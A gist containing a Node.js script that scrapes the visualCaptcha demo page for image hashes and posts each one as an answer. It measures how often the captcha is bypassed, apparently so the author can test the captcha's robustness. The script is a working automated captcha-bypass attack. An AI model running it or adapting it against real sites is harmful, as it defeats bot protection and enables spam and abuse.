This is code based off of https://gist.github.com/ipeychev/6234050, refactored to be possible to make multiple attempts in one execution. 100 attempts are equivalent to 500 post requests (every "attempt" tries to post 5 images). I'm actually getting < 5-7% successful break attempt rates, but it's still unnacceptable and I'll use this code to che…

breakVisualCaptcha.js

// This code has a break rate of < 10%. It's still unnacceptable, though.

var request = require( 'request' ).defaults( { jar: true } ),
    q = require( 'q' );

var URI = 'http://demo.visualcaptcha.net/';

// Make a post
var makePost = function makePost( imgHash, partialURL, tryNumber ) {
    var deferred = q.defer(),
    checkIfCaptchaIsValid;

    // Visual information of a request being made
    process.stdout.write( '.' );

    // Checks if the captcha was broken or not, saying how many attemps it made
    checkIfCaptchaIsValid = function checkIfCaptchaIsValid( error, response, body ) {
        if ( ! error && response.statusCode === 200 ) {
            if ( body.indexOf('Captcha valid!') > 0 ) {
                deferred.resolve({
                    broke: true,
                    tries: tryNumber
                });
            } else {
                deferred.resolve({
                    broke: false,
                    tries: tryNumber
                });
            }
        } else {
            deferred.reject();
        }
    };

    request.post(
        URI + partialURL,
        {
            form: {
                'captcha-value': imgHash,
                form_submit: 1
            }
        },
        checkIfCaptchaIsValid
    );

    return deferred.promise;
};

// Makes a break attempt, basically looks for the image hashes and makes a post for each hash
var makeBreakAttempt = function makeBreakAttempt() {
    'use strict';

    var deferred = q.defer();

    request.get( URI, function ( error, response, body ) {

        if ( ! error && response.statusCode === 200 ) {
            var arr,
                imgData,
                formActionRegExp = /<form.*action="([^"]+)"/,
                action = formActionRegExp.exec( body )[ 1 ],
                imgRegExp = /<img.*data-value="([^"]+)"/g,
                match = imgRegExp.exec( body ),
                tries = 0,
                promiseTries = [];
     
            // Make a post for each image
            while ( match !== null ) {
                imgData = match[1];
     
                match = imgRegExp.exec( body );
     
                promiseTries.push( makePost(imgData, action, ++tries) );
            }

            q.all( promiseTries )
                .then( function( results ) {
                    deferred.resolve( results );
                })
                .fail( function() {
                    deferred.reject();
                });
        }
    });

    return deferred.promise;
};

(function() {
    'use strict';

    var numberOfAttempts = 1,
        attempts = [],
        i,
        successfulAttempts = 0,
        rate = 0.00,
        maxAttempts = 100,
        numberOfPostAttempts = 0;

    if ( process.argv[2] ) {
        numberOfAttempts = parseInt( process.argv[2], 10 );
    }

    // Prevent erroneous numbers, and limit to maxAttempts attempts
    if ( isNaN(numberOfAttempts) || ! numberOfAttempts || numberOfAttempts < 0 || numberOfAttempts > maxAttempts ) {
        numberOfAttempts = 1;
    }

    for ( i = numberOfAttempts; i > 0; i--) {
        attempts.push( makeBreakAttempt() );
    }

    // Create an empty line
    console.log( '' );

    q.all( attempts )
        .then( function( attemptResults ) {
            console.log( 'Done.\n' );

            attemptResults.forEach( function( postResults ) {
                numberOfPostAttempts += postResults.length;

                postResults.forEach( function( result ) {
                    if ( result.broke === true ) {
                        ++successfulAttempts;
                    }
                });
            });

            rate = ( successfulAttempts * 100 / numberOfPostAttempts ).toFixed( 2 );

            console.log( 'Successfull breaking rate of ' + rate + '%.\n' );
        })
        .fail( function() {
            console.log( 'Failed.\n' );
        });
})();